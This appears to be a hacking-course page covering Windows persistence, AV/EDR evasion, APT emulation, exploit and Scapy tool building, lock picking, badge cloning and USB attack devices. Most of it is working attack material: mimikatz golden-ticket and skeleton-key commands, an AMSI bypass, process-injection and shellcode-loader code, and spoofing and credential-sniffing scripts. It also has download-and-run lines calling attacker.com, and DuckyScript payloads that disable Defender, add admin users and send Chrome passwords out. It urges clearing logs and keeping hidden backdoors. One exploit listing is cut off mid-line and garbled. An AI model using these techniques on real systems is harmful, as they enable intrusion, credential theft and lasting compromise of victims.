# Persistence = Surviving reboots, credential changes, detection # 1. Registry Run Keys (Classic) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\ProgramData\update.exe" # Runs update.exe every time user logs in # Detection: Easy (commonly monitored) # 2. Scheduled Tasks schtasks /create /tn "GoogleUpdateService" /tr "C:\ProgramData\update.exe" /sc onlogon /ru SYSTEM # More stealthy than registry # /ru SYSTEM = Runs as SYSTEM (high privileges!) # 3. WMI Event Subscription # Most stealthy, rarely monitored # PowerShell: $FilterArgs = @{ EventNamespace = 'root/cimv2' Name = "PersistenceFilter" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" QueryLanguage = "WQL" } $Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs $ConsumerArgs = @{ Name = "PersistenceConsumer" CommandLineTemplate = "C:\ProgramData\update.exe" } $Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments $ConsumerArgs $FilterToConsumerArgs = @{ Filter = $Filter Consumer = $Consumer } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments $FilterToConsumerArgs # This executes update.exe every 60 seconds! # Detection: Very difficult (deep in WMI) # 4. Service Creation sc create "WindowsDefenderUpdate" binPath= "C:\ProgramData\update.exe" start= auto sc start WindowsDefenderUpdate # Runs as service, survives reboots # Tip: Name it like legitimate Windows service # 5. DLL Hijacking # Place malicious DLL in application folder # Application loads your DLL instead of legitimate one # Example: Place evil version.dll in C:\Program Files\Vulnerable App\ # When app.exe runs → loads version.dll → backdoor activated! # 6. Startup Folder copy update.exe "C:\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.exe" # Simple but effective # 7. COM Hijacking # Modify registry to hijack COM objects reg add "HKCU\Software\Classes\CLSID\{GUID}\InProcServer32" /ve /t REG_SZ /d "C:\evil.dll" # When legitimate program loads COM object → loads your DLL # 8. Golden Ticket (Domain Persistence) # Forge Kerberos ticket for domain admin # Requires: krbtgt NTLM hash (get via DCSync) mimikatz # kerberos::golden /user:Administrator /domain:company.local /sid:S-1-5-21-... /krbtgt:deadbeef... /id:500 /ptt # Creates ticket valid for 10 years! # Survives password resets! # 9. Skeleton Key (Domain Persistence) # Install backdoor password on Domain Controller mimikatz # privilege::debug mimikatz # misc::skeleton # Now any domain user can login with password: "mimikatz" # Their real password still works too! # 10. Implant in Legitimate Service # Inject into long-running Windows service # Example: Inject into svchost.exe # Detection: Difficult (looks like normal svchost)

Part 4: AV/EDR Evasion

# Modern defenses: # • Antivirus (signature-based) # • EDR (Endpoint Detection & Response - behavior-based) # • AMSI (AntiMalware Scan Interface - scans PowerShell/scripts) # Evasion techniques: # 1. Obfuscation # Modify payload so signatures don't match # Tool: Veil Framework git clone https://github.com/Veil-Framework/Veil.git cd Veil ./Veil.py # Generate obfuscated payload: use Evasion use python/meterpreter/rev_tcp set LHOST 10.0.0.1 set LPORT 4444 generate # Creates .exe that bypasses AV # 2. AMSI Bypass # Disable AMSI before running PowerShell payloads # PowerShell one-liner: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) # Or obfuscated version: $a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $b = $a.GetField('amsiInitFailed','NonPublic,Static') $b.SetValue($null,$true) # AMSI now disabled! PowerShell payloads won't be scanned # 3. In-Memory Execution # Never touch disk (no files for AV to scan) # Covenant: execute-assembly (runs .NET in memory) # Sliver: execute-shellcode (injects shellcode into process) # PowerShell: IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') # Downloads and executes in memory! # 4. Process Injection # Inject into legitimate process # C# example: // Open target process Process target = Process.GetProcessesByName("notepad")[0]; IntPtr procHandle = OpenProcess(0x1F0FFF, false, target.Id); // Allocate memory in target IntPtr addr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, 0x3000, 0x40); // Write shellcode WriteProcessMemory(procHandle, addr, shellcode, shellcode.Length, out _); // Create thread CreateRemoteThread(procHandle, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); # Shellcode now running inside notepad.exe! # EDR sees: notepad.exe (looks normal) # 5. Sleep Obfuscation # EDR scans sleeping processes # Solution: Encrypt beacon while sleeping # Sliver feature: sliver (BEACON) > sleep-obfuscation # Beacon encrypts itself before sleep # Decrypts on wakeup # EDR memory scan finds encrypted gibberish! # 6. Unhooking # EDR "hooks" Windows APIs to monitor calls # Remove hooks before executing malicious code # C# example (unhook NTDLL): // Read fresh ntdll.dll from disk byte[] ntdllBytes = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll"); // Overwrite hooked ntdll in memory // Now EDR can't monitor our syscalls! # 7. Direct Syscalls # Bypass EDR hooks entirely by calling kernel directly # Example (x64 assembly for NtAllocateVirtualMemory): mov r10, rcx mov eax, 0x18 # Syscall number syscall ret # No userland API calls → EDR can't see it! # 8. Living Off The Land (LOLBins) # Use legitimate Windows tools for malicious purposes # Download file without PowerShell: certutil -urlcache -split -f http://attacker.com/payload.exe C:\ProgramData\payload.exe # Or: bitsadmin /transfer myDownload http://attacker.com/payload.exe C:\ProgramData\payload.exe # Execute payload: rundll32.exe C:\ProgramData\payload.dll,EntryPoint # EDR sees: "certutil.exe ran" (normal Windows tool!) # 9. Shellcode Loaders # Custom loader that executes shellcode # Golang loader (cross-platform, hard to reverse): package main import ( "syscall" "unsafe" ) func main() { shellcode := []byte{0x90, 0x90, ...} // Your shellcode addr, _, _ := syscall.Syscall(syscall.VirtualAlloc, 4, 0, uintptr(len(shellcode)), 0x3000, 0x40) syscall.Syscall(syscall.RtlCopyMemory, 3, addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) syscall.Syscall(addr, 0, 0, 0, 0) } # Compile: GOOS=windows go build -ldflags="-s -w" loader.go # No suspicious imports, custom loader, harder to detect!

Part 5: APT Emulation

# APT = Advanced Persistent Threat (nation-state hackers) # Framework: MITRE ATT&CK # https://attack.mitre.org/ # APT28 (Fancy Bear, Russia) TTPs: # Initial Access: # - Spearphishing (T1566) # - Watering hole attacks (T1189) # Execution: # - PowerShell (T1059.001) # - WMI (T1047) # Persistence: # - Registry Run Keys (T1547.001) # - Scheduled Tasks (T1053.005) # Privilege Escalation: # - Bypass UAC (T1548.002) # - Exploit vulnerability (T1068) # Defense Evasion: # - Obfuscated Files (T1027) # - Process Injection (T1055) # Credential Access: # - LSASS Memory Dump (T1003.001) # - Credential from Registry (T1003.002) # Discovery: # - Network Service Scanning (T1046) # - Domain Trust Discovery (T1482) # Lateral Movement: # - Remote Desktop Protocol (T1021.001) # - Windows Admin Shares (T1021.002) # Collection: # - Archive Collected Data (T1560) # - Email Collection (T1114) # Exfiltration: # - Exfiltration Over C2 Channel (T1041) # Emulating APT28 red team exercise: # Day 1: Initial Access # Send spearphishing email with malicious Word doc # (Contains macro that downloads Covenant beacon) # Day 2: Establish Foothold # Beacon calls home # Execute post-exploitation: # - Dump credentials (Mimikatz) # - Establish persistence (WMI subscription) # - Enumerate domain (PowerView) # Day 3: Lateral Movement # Found domain admin credentials # Move to Domain Controller via WMI: wmic /node:DC01 /user:admin /password:pass process call create "rundll32.exe C:\ProgramData\beacon.dll,Start" # Day 4: Domain Dominance # Dump krbtgt hash (DCSync) # Create Golden Ticket # Now persistent access for years! # Day 5: Exfiltration # Exfiltrate data slowly (100MB/day) # Use DNS tunneling to avoid detection # Encrypt data before exfil # Day 6: Cover Tracks # Clear logs # Remove obvious persistence (keep WMI subscription) # Document findings for report # Tools for APT emulation: # Atomic Red Team (automated TTPs): git clone https://github.com/redcanaryco/atomic-red-team.git cd atomic-red-team Invoke-AtomicTest T1003.001 # LSASS dump # Caldera (autonomous red team): git clone https://github.com/mitre/caldera.git cd caldera python3 server.py --insecure # Access: http://localhost:8888 # Creates automated adversary that emulates APT campaigns! # Mythic (multi-platform C2): # Supports Windows, Linux, macOS # Plugin-based architecture # Customizable profiles for different APTs

🎉 You're a Red Team Operator!

You've mastered:

✅ C2 Frameworks: Covenant, Sliver, listener setup, payload generation, session management
✅ OPSEC: Infrastructure isolation, domain fronting, traffic obfuscation, attribution evasion
✅ Persistence: Registry keys, scheduled tasks, WMI subscriptions, Golden Tickets, Skeleton Key
✅ Evasion: AMSI bypass, in-memory execution, process injection, unhooking, direct syscalls
✅ APT Emulation: MITRE ATT&CK, real-world TTPs, phased operations

Red Team Engagement Phases:
1. Planning: Define objectives, rules of engagement, OPSEC plan
2. Initial Access: Phishing, exploit, physical access
3. Establish Foothold: C2 callback, persistence, credential dumping
4. Escalate Privileges: Local admin → Domain admin
5. Lateral Movement: Spread to high-value targets
6. Achieve Objectives: Exfiltrate data, plant flags, test detection
7. Cover Tracks: Remove obvious indicators, keep subtle backdoors
8. Report: Document TTPs used, detection gaps, remediation advice

Career paths:
• Red Team Operator (offensive security)
• Purple Team (red team + blue team collaboration)
• Threat Intelligence (understanding APT TTPs)
• Security Researcher (finding new evasion techniques)

You now think like a nation-state hacker. Use this power responsibly! 🎭🚀

Custom Tool Development

Off-the-shelf tools are great, but they have limitations: detected by AV, lack specific features you need, or don't fit your workflow. The ultimate hacker skill: building your own tools! This section teaches Python exploit development, Scapy packet manipulation, custom scanner creation, automation scripts, and tool integration. You'll learn to build port scanners, vulnerability scanners, exploit frameworks, credential harvesters, and anything else you can imagine. By the end, you'll never be limited by existing tools again!

💡 Custom Tools = Your Hacking Superpower

Why build custom tools?

• Stealth: AV doesn't have signatures for YOUR code
• Flexibility: Add features tailored to your target
• Speed: Automate repetitive tasks
• Learning: Understand tools by rebuilding them
• Integration: Connect tools that don't normally work together

Real-world examples:
• Metasploit started as HD Moore's custom scanner
• Burp Suite started as PortSwigger's custom proxy
• Nmap started as Fyodor's custom port scanner

Every major tool started as someone's custom script! 🚀

Part 1: Python Exploit Development

# Python is THE language for exploit development: # • Easy to learn, fast to prototype
# • Rich library ecosystem (sockets, HTTP, crypto)
# • Platform-independent
# • Integration with other tools # Basic exploit template: from pwn import * # pwntools library # Target configuration host = '192.168.1.100' port = 9999 # Connect to target r = remote(host, port) # Receive banner banner = r.recvuntil(b'>') log.info(f"Banner: {banner}") # Build exploit payload offset = 112 # Buffer overflow offset eip_value = p32(0x41414141) # Return address shellcode = asm(shellcraft.linux.sh()) # Generate shellcode payload = b'A' * offset payload += eip_value payload += shellcode # Send exploit log.info("Sending payload...") r.send(payload) # Interact with shell r.interactive() # Example: Buffer overflow exploit for vulnerable server from socket import * from struct import pack target_ip = '192.168.1.100' target_port = 9999 # Bad characters to avoid (nullbytes, newlines, etc.) bad_chars = b'\x00\x0a\x0d' # msfvenom generated shellcode (reverse shell) shellcode = ( b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" b"\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ) # NOP sled (\x90 = NOP instruction) nops = b'\x90' * 16 # Return address (JMP ESP address from binary) ret_addr = pack('BK = BK and BK->FD = FD # This writes to arbitrary memory!

Part 2: Scapy - Packet Manipulation Master

# Scapy = Python library for network packet manipulation from scapy.all import * # Install: # pip3 install scapy # Basic packet creation: pkt = IP(dst="192.168.1.1")/ICMP() send(pkt) # Or with reply: reply = sr1(pkt) print(reply.show()) # TCP SYN scan (like nmap): def syn_scan(target, ports): open_ports = [] for port in ports: pkt = IP(dst=target)/TCP(dport=port, flags='S') reply = sr1(pkt, timeout=1, verbose=0) if reply and reply.haslayer(TCP): if reply[TCP].flags == 'SA': # SYN-ACK = open open_ports.append(port) # Send RST to close connection cleanly rst = IP(dst=target)/TCP(dport=port, flags='R') send(rst, verbose=0) return open_ports result = syn_scan('192.168.1.100', range(1, 1025)) print(f"Open ports: {result}") # ARP spoofing (MITM attack): def arp_spoof(target_ip, gateway_ip): target_mac = getmacbyip(target_ip) gateway_mac = getmacbyip(gateway_ip) # Tell target: "I am the gateway" arp_target = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip) # Tell gateway: "I am the target" arp_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip) while True: send(arp_target, verbose=0) send(arp_gateway, verbose=0) time.sleep(2) # Usage: # arp_spoof('192.168.1.10', '192.168.1.1') # Now all traffic from .10 routes through you! # DNS spoofing: def dns_spoof(pkt): if pkt.haslayer(DNSQR): # DNS query qname = pkt[DNSQR].qname.decode() if 'bank.com' in qname: # Forge DNS response spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=53)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, an=DNSRR(rrname=qname, ttl=10, rdata='10.0.0.5')) send(spoofed_pkt, verbose=0) print(f"[+] Spoofed DNS for {qname} → 10.0.0.5") sniff(filter="udp port 53", prn=dns_spoof) # Custom protocol fuzzing: def fuzz_protocol(target, port): payloads = [ b'A' * 100, b'A' * 1000, b'A' * 10000, b'%s%s%s%s', b'\xff\xff\xff\xff', b'\x00' * 100, ] for payload in payloads: try: pkt = IP(dst=target)/TCP(dport=port)/Raw(load=payload) reply = sr1(pkt, timeout=2, verbose=0) if not reply: print(f"[!] No reply for payload: {payload[:20]}...") elif reply.haslayer(TCP) and reply[TCP].flags == 'R': print(f"[!] Connection reset: {payload[:20]}...") else: print(f"[+] Normal response: {payload[:20]}...") except Exception as e: print(f"[!] Error: {e}") # Packet sniffing with filtering: def packet_callback(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): load = pkt[Raw].load # Look for credentials if b'password' in load.lower() or b'user' in load.lower(): print(f"[!] Possible credentials:") print(f" Source: {pkt[IP].src}:{pkt[TCP].sport}") print(f" Dest: {pkt[IP].dst}:{pkt[TCP].dport}") print(f" Data: {load[:100]}") sniff(prn=packet_callback, filter="tcp", store=0) # Generate malformed packets: # Malformed TCP (conflicting flags): weird_pkt = IP(dst='192.168.1.100')/TCP(flags='SFPURAE') # All flags! send(weird_pkt) # Malformed IP (invalid header length): weird_ip = IP(dst='192.168.1.100', ihl=2)/ICMP() # ihl should be >= 5 send(weird_ip) # Land attack (same src/dst): land = IP(src='192.168.1.100', dst='192.168.1.100')/TCP(sport=139, dport=139, flags='S') send(land) # Some systems crash! # Ping of death: ping_of_death = fragment(IP(dst='192.168.1.100')/ICMP()/('X'*60000)) send(ping_of_death) # Fragments > 65535 bytes

Part 3: Building a Custom Vulnerability Scanner

# Let's build a multi-threaded vulnerability scanner! import socket import threading import queue from concurrent.futures import ThreadPoolExecutor class VulnScanner: def __init__(self, target, threads=10): self.target = target self.threads = threads self.results = [] def check_sql_injection(self, url): """Test for SQL injection""" payloads = ["'", '"', '1=1', "' OR '1'='1", '" OR "1"="1'] for payload in payloads: test_url = f"{url}?id={payload}" try: response = requests.get(test_url, timeout=5) # Check for SQL errors errors = ['sql syntax', 'mysql_fetch', 'ora-', 'postgresql'] for error in errors: if error in response.text.lower(): return f"[!] SQL Injection found: {test_url}" except: pass return None def check_xss(self, url): """Test for XSS""" payload = "<script>alert('XSS')</script>" test_url = f"{url}?q={payload}" try: response = requests.get(test_url, timeout=5) if payload in response.text: return f"[!] XSS found: {test_url}" except: pass return None def check_open_redirect(self, url): """Test for open redirect""" payload = "http://evil.com" test_url = f"{url}?redirect={payload}" try: response = requests.get(test_url, allow_redirects=False, timeout=5) if response.status_code in [301, 302]: location = response.headers.get('Location', '') if payload in location: return f"[!] Open redirect found: {test_url}" except: pass return None def check_lfi(self, url): """Test for Local File Inclusion""" payloads = [ "../../../../etc/passwd", "..\\..\\..\\..\\windows\\win.ini", "/etc/passwd", "C:\\Windows\\win.ini" ] for payload in payloads: test_url = f"{url}?file={payload}" try: response = requests.get(test_url, timeout=5) if 'root:' in response.text or '[extensions]' in response.text: return f"[!] LFI found: {test_url}" except: pass return None def check_ssrf(self, url): """Test for Server-Side Request Forgery""" # Use Burp Collaborator or similar payload = "http://169.254.169.254/latest/meta-data/" # AWS metadata test_url = f"{url}?url={payload}" try: response = requests.get(test_url, timeout=5) if 'ami-id' in response.text or 'instance-id' in response.text: return f"[!] SSRF found (AWS metadata): {test_url}" except: pass return None def scan(self, url): """Run all checks""" checks = [ self.check_sql_injection, self.check_xss, self.check_open_redirect, self.check_lfi, self.check_ssrf ] for check in checks: result = check(url) if result: self.results.append(result) def run(self, urls): """Scan multiple URLs with threading""" with ThreadPoolExecutor(max_workers=self.threads) as executor: executor.map(self.scan, urls) return self.results # Usage: scanner = VulnScanner('example.com', threads=20) urls = [ 'http://example.com/page1.php', 'http://example.com/page2.php', 'http://example.com/admin.php' ] results = scanner.run(urls) for result in results: print(result) # Enhanced port scanner with service detection: import socket import sys from datetime import datetime class AdvancedScanner: def __init__(self, target): self.target = target self.open_ports = {} def scan_port(self, port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((self.target, port)) if result == 0: service = self.grab_banner(sock, port) self.open_ports[port] = service sock.close() except Exception as e: pass def grab_banner(self, sock, port): try: # Try to get banner sock.send(b'HEAD / HTTP/1.0\r\n\r\n') banner = sock.recv(1024).decode('utf-8', errors='ignore') return banner.split('\n')[0] if banner else 'Unknown' except: # Use common port mapping services = { 21: 'FTP', 22: 'SSH', 23: 'Telnet', 25: 'SMTP', 53: 'DNS', 80: 'HTTP', 110: 'POP3', 143: 'IMAP', 443: 'HTTPS', 445: 'SMB', 3306: 'MySQL', 3389: 'RDP', 5432: 'PostgreSQL', 6379: 'Redis', 8080: 'HTTP-Proxy', 27017: 'MongoDB' } return services.get(port, 'Unknown') def scan_range(self, start_port, end_port): print(f"[*] Scanning {self.target} from port {start_port} to {end_port}") print(f"[*] Started at {datetime.now()}") with ThreadPoolExecutor(max_workers=100) as executor: executor.map(self.scan_port, range(start_port, end_port + 1)) print(f"[*] Finished at {datetime.now()}") print(f"\n[+] Open ports:") for port, service in sorted(self.open_ports.items()): print(f" {port}/tcp {service}") # Usage: scanner = AdvancedScanner('192.168.1.100') scanner.scan_range(1, 1000)

🎉 You're a Tool Builder!

You've mastered:

✅ Python Exploits: Buffer overflows, format strings, heap exploits, shellcode integration
✅ Scapy: Packet crafting, ARP spoofing, DNS spoofing, protocol fuzzing, custom scans
✅ Custom Scanners: Multi-threaded scanning, vuln detection, service enumeration

Tool ideas to build:
• Subdomain enumeration tool
• Credential stuffing tool
• Custom C2 framework
• Automated phishing framework
• WiFi deauth tool
• Ransomware PoC (for research!)
• Keylogger
• Browser password extractor

The only limit is your imagination! Every tool you build makes you more powerful. 🛠️🚀

Physical Security & Social Engineering

The human element is always the weakest link. You can have perfect firewalls, encrypted disks, and multi-factor authentication—but if someone tailgates through the door or plugs in a USB Rubber Ducky, game over! Physical security attacks bypass technical controls entirely. This section covers lock picking, badge cloning (RFID/NFC), USB attack platforms (Rubber Ducky, Bash Bunny, O.MG Cable), social engineering tactics, phishing campaigns, pretexting, and physical penetration testing methodology. By the end, you'll understand how hackers walk through front doors!

💡 Physical Security = The Front Door Hack

Why physical attacks work:

• Bypass network defenses: No firewall stops a person walking in
• Direct access: Physical = root/admin by definition
• Social trust: Humans trust confident people with badges
• Low detection: No IDS alerts when picking a lock

Famous physical hacks:
• 2011 RSA breach: Started with spear-phishing USB drive left in parking lot
• Stuxnet: USB worm infected air-gapped Iranian nuclear facility
• Social engineering: Kevin Mitnick never needed to code—he just called people

Physical security testing finds the holes that digital audits miss! 🚪🔐

Part 1: Lock Picking Fundamentals

How Locks Work (Pin Tumbler)

Basic mechanism:
• Pins: Spring-loaded pins inside lock (usually 5-6 pins)
• Shear line: Boundary between plug and housing
• Key: Raises pins to correct height → all pins at shear line → plug rotates

Without correct key:
Pins block plug from rotating

With correct key:
All pins align at shear line → plug rotates → lock opens

Lock picking principle:
Apply slight rotational tension → Pins bind at different rates → Set pins one by one → All pins set → Lock opens!

# Lock Picking Tools: # 1. Tension Wrench (most important!) # Applies rotational force to plug # Types: # - L-shaped (classic) # - Z-shaped (fits different keyways) # - Flat (bottom-of-keyway) # 2. Pick (manipulates pins) # Types: # - Hook pick (single pin picking) # - Rake (multiple pins simultaneously) # - Diamond pick (versatile) # - Half-diamond (better control) # 3. Specialized Tools: # - Broken key extractor # - Decoder (reads pin heights) # - Plug spinner (reverses plug) # - Bump key (mechanical exploit) # - Snap gun (mechanical vibration) # Single Pin Picking (SPP) Technique: # Step 1: Insert tension wrench # Place in bottom or top of keyway # Apply LIGHT rotational pressure (like turning a key) # Too much = pins bind (can't move) # Too little = pins don't set # Step 2: Insert pick above tension wrench # Feel for pins (little bumps inside lock) # There should be 5-6 pins # Step 3: Push each pin up # One pin will be "binding" (harder to push) # This is the first pin to set # Push binding pin until you feel/hear a click # Plug will rotate slightly # Step 4: Repeat for remaining pins # New pin will bind # Set it # Continue until all pins set # Plug rotates fully → lock opens! # Raking Technique (faster, less precise): # Step 1: Insert tension wrench (light pressure) # Step 2: Insert rake pick # Scrub rake in and out rapidly # Pins bounce up and down # Some will randomly land at shear line # Step 3: Increase tension gradually # As pins set, increase rotational force # Lock may open after 10-30 seconds of raking # Practice locks: # • Clear acrylic practice locks (see pins moving!) # • Master Lock #3 (beginner lock) # • Kwikset deadbolts (common residential) # • Schlage pins (medium difficulty) # • Medeco locks (advanced, security pins) # Legal Note: # Lock picking is LEGAL in most jurisdictions if: # - You own the lock, OR # - You have written permission, OR # - You're a locksmith # # ILLEGAL if: # - You possess picks with intent to commit crime # - You pick locks you don't own without permission # # Check your local laws!

Bypassing Locks (Without Picking)

# Lock bypasses are faster than picking! # 1. Bumping # Uses specially cut "bump key" # Exploits pin inertia # How it works: # - Insert bump key (cut to lowest depth on all positions) # - Pull out one click # - Apply light rotational tension # - Strike key with hammer/screwdriver # - All pins jump simultaneously # - Brief moment where all pins at shear line # - Plug rotates → lock opens! # Success rate: 90%+ on pin tumbler locks # Time: 5-30 seconds # Noise: Moderate (bump sound) # 2. Shimming (Padlocks) # Thin metal strip defeats locking mechanism # Step 1: Cut soda can into thin strip # Step 2: Insert between shackle and body # Step 3: Push down on shackle # Step 4: Shim slides past locking pawl # Step 5: Padlock opens! # Works on: Cheap padlocks (Master Lock, etc.) # Doesn't work on: Higher-security padlocks with ball bearings # 3. Impressioning # Create working key from blank # Step 1: Insert blank key # Step 2: Apply heavy rotational force # Step 3: Pins leave marks on blank # Step 4: File down marked areas # Step 5: Repeat until key works # Time: 30 minutes to 2 hours # Skill: Advanced # Result: Working key! # 4. Bypass Tools # • Under-door tool (reaches inside, unlocks from interior) # • Latch slipping (credit card trick on spring latches) # • Emergency exit exploitation (push bars can be manipulated) # 5. Destructive Entry (last resort) # • Drilling (destroy pins) # • Snapping (Euro-cylinder vulnerability) # • Prying (force shackle/bolt) # • Cutting (angle grinder, bolt cutters)

Part 2: RFID/NFC Badge Cloning

# Many buildings use RFID/NFC badges for access control # Problem: Most use 125kHz HID Prox or 13.56MHz Mifare # Solution: Clone badges with $40 device! # Hardware: Proxmark3 (professional) or Flipper Zero (portable) # Proxmark3 Setup: git clone https://github.com/RfidResearchGroup/proxmark3.git cd proxmark3 make clean && make all # Connect Proxmark3 via USB ./pm3 # Proxmark3 console starts: [=] Session log /root/.proxmark3/logs/log_20260108.txt [+] loaded from JSON file /root/.proxmark3/preferences.json # Identify card type: proxmark3> lf search # Output (125kHz HID Prox): [+] HID Prox TAG ID: 2006e11e (8838) - Format Len: 26 bit - FC: 100 - Card: 1822 # Clone to T5577 writable card: proxmark3> lf hid clone 2006e11e # Output: [=] Cloning tag with ID 2006e11e [=] Done # Test cloned card: proxmark3> lf hid read # Should show same ID! # 13.56MHz Mifare Classic: proxmark3> hf search # Output: [+] UID: 01 02 03 04 [+] ATQA: 00 04 [+] SAK: 08 [2] [+] Mifare Classic 1K # Check for default keys: proxmark3> hf mf chk *1 ? # Output: [+] Sector 0, key type A, key: FFFFFFFFFFFF (default) [+] Sector 1, key type A, key: FFFFFFFFFFFF [... 90% of cards still use default keys! ...] # Dump card: proxmark3> hf mf dump # Creates: hf-mf-01020304-dump.bin # Clone to blank Mifare card: proxmark3> hf mf restore # Select: hf-mf-01020304-dump.bin # Clone complete! # NFC credit card reading: proxmark3> hf 14a info # Output (contactless credit card): [+] UID: AA BB CC DD [+] ATQA: 00 04 [+] SAK: 20 [3] [+] TYPE: NXP MIFARE DESFire # Read card data: proxmark3> hf 14a reader # Some cards expose: # - Card number (PAN) # - Expiry date # - Cardholder name # - Transaction history # Note: Can't extract CVV (stored on magnetic stripe only) # Flipper Zero (Portable Alternative): # Read 125kHz badge: # RFID → Read → [Hold badge to device] # → Save as "Office_Badge" # Emulate badge: # RFID → Saved → Office_Badge → Emulate # [Hold Flipper to reader] # → Door unlocks! # Read 13.56MHz card: # NFC → Read → [Hold card to device] # → Shows UID and data # Emulate card: # NFC → Saved → [Select card] → Emulate # Defense Against Badge Cloning: # • Use high-frequency encrypted cards (iCLASS SE, Seos) # • Implement two-factor (badge + PIN) # • RFID-blocking sleeves # • Monitor for duplicate badge usage # • Short-range readers (require very close proximity)

Part 3: USB Attack Platforms

USB Rubber Ducky

# USB Rubber Ducky = Keystroke injection tool # Looks like USB flash drive # Acts like USB keyboard # Types commands VERY fast (1000 characters/second!) # Hardware: https://shop.hak5.org/products/usb-rubber-ducky # Programming Language: DuckyScript # Example Payload (Windows): # File: payload.txt DELAY 1000 GUI r DELAY 500 STRING powershell -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" ENTER # Explanation: # DELAY 1000 → Wait 1 second (for system to recognize USB) # GUI r → Open Run dialog (Windows key + R) # DELAY 500 → Wait for dialog to appear # STRING ... → Type PowerShell command # ENTER → Execute command # This downloads and runs payload from attacker server! # More DuckyScript commands: # REM Comment # Used for documentation # DELAY milliseconds DELAY 2000 # Wait 2 seconds # STRING text STRING Hello World # Types: Hello World # ENTER, SPACE, TAB, ESCAPE ENTER # GUI (Windows key), CTRL, ALT, SHIFT GUI CTRL a ALT F4 # Function keys F1 F12 # REPEAT n REPEAT 5 STRING Hello ENTER END_REPEAT # Examples: # 1. Reverse Shell Payload (Windows): DELAY 1000 GUI r DELAY 500 STRING powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/shell.ps1')" ENTER # 2. Disable Windows Defender: DELAY 1000 GUI r DELAY 500 STRING powershell Start-Process powershell -Verb runAs DELAY 2000 ENTER DELAY 3000 STRING Set-MpPreference -DisableRealtimeMonitoring $true ENTER DELAY 500 STRING exit ENTER # 3. Exfiltrate Chrome Passwords (Windows): DELAY 1000 GUI r DELAY 500 STRING powershell -NoP -NonI -W Hidden "$data = Get-Content $env:LOCALAPPDATA\Google\Chrome\User Data\Default\'Login Data' -Raw; Invoke-WebRequest -Uri http://attacker.com/exfil -Method POST -Body $data" ENTER # 4. Create Admin User: DELAY 1000 GUI r DELAY 500 STRING cmd /c net user hacker Password123! /add && net localgroup administrators hacker /add ENTER # 5. Rick Roll (harmless prank): GUI r DELAY 500 STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ ENTER # Compiling DuckyScript: # Use Hak5 encoder: https://duck-encoder.netlify.app/ # Or command-line tool: java -jar encoder.jar -i payload.txt -o inject.bin # Copy inject.bin to Rubber Ducky SD card

Bash Bunny

# Bash Bunny = Multi-vector USB attack platform # Can act as: Keyboard, Ethernet, Serial, Mass Storage # Runs Linux, supports any scripting language # Hardware: https://shop.hak5.org/products/bash-bunny # Switch Positions: # • Switch 1: Payload in /payloads/switch1/ # • Switch 2: Payload in /payloads/switch2/ # • Switch 3: Arming mode (for payload development) # Example Payload (QuickCreds): #!/bin/bash # Title: QuickCreds # Description: Harvests credentials from Windows # Author: Hak5 # LED color feedback LED R # Red = starting # Attack mode: Ethernet + mass storage ATTACKMODE RNDIS_ETHERNET STORAGE # Get victim's IP GET TARGET_IP # Start responder (captures NTLM hashes) python /tools/responder/Responder.py -I usb0 -wrf # LED green = capturing LED G # Wait for hashes sleep 60 # Save hashes to /loot/ cp /tools/responder/logs/* /loot/ # LED blue = done LED B # Another payload (UAC Bypass + Backdoor): #!/bin/bash LED R ATTACKMODE HID STORAGE Q DELAY 1000 Q GUI r Q DELAY 500 Q STRING powershell Q ENTER Q DELAY 1000 # Check if admin Q STRING [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() Q ENTER # If not admin, UAC bypass: Q STRING New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force Q ENTER Q STRING Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start powershell" -Force Q ENTER Q STRING Start-Process computerdefaults.exe Q DELAY 3000 # Download and execute beacon: Q STRING IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1') Q ENTER LED G # O.MG Cable (malicious USB cable): # Looks: Exactly like normal Lightning/USB-C cable # Reality: Hidden WiFi chip + keystroke injection # Access: WiFi hotspot (O.MG-XXXX) # Web interface: http://192.168.4.1 # Payloads same as Rubber Ducky # Advantage: Victim thinks it's just a charging cable! # Detection Difficulty: VERY HIGH # Defense: Only use your own cables, inspect electronics

🎉 You're a Physical Pentester!

You've mastered:

✅ Lock Picking: Pin tumbler mechanism, SPP, raking, bumping, shimming, impressioning
✅ Badge Cloning: Proxmark3, Flipper Zero, HID Prox, Mifare Classic, NFC
✅ USB Attacks: Rubber Ducky, Bash Bunny, O.MG Cable, DuckyScript, keystroke injection

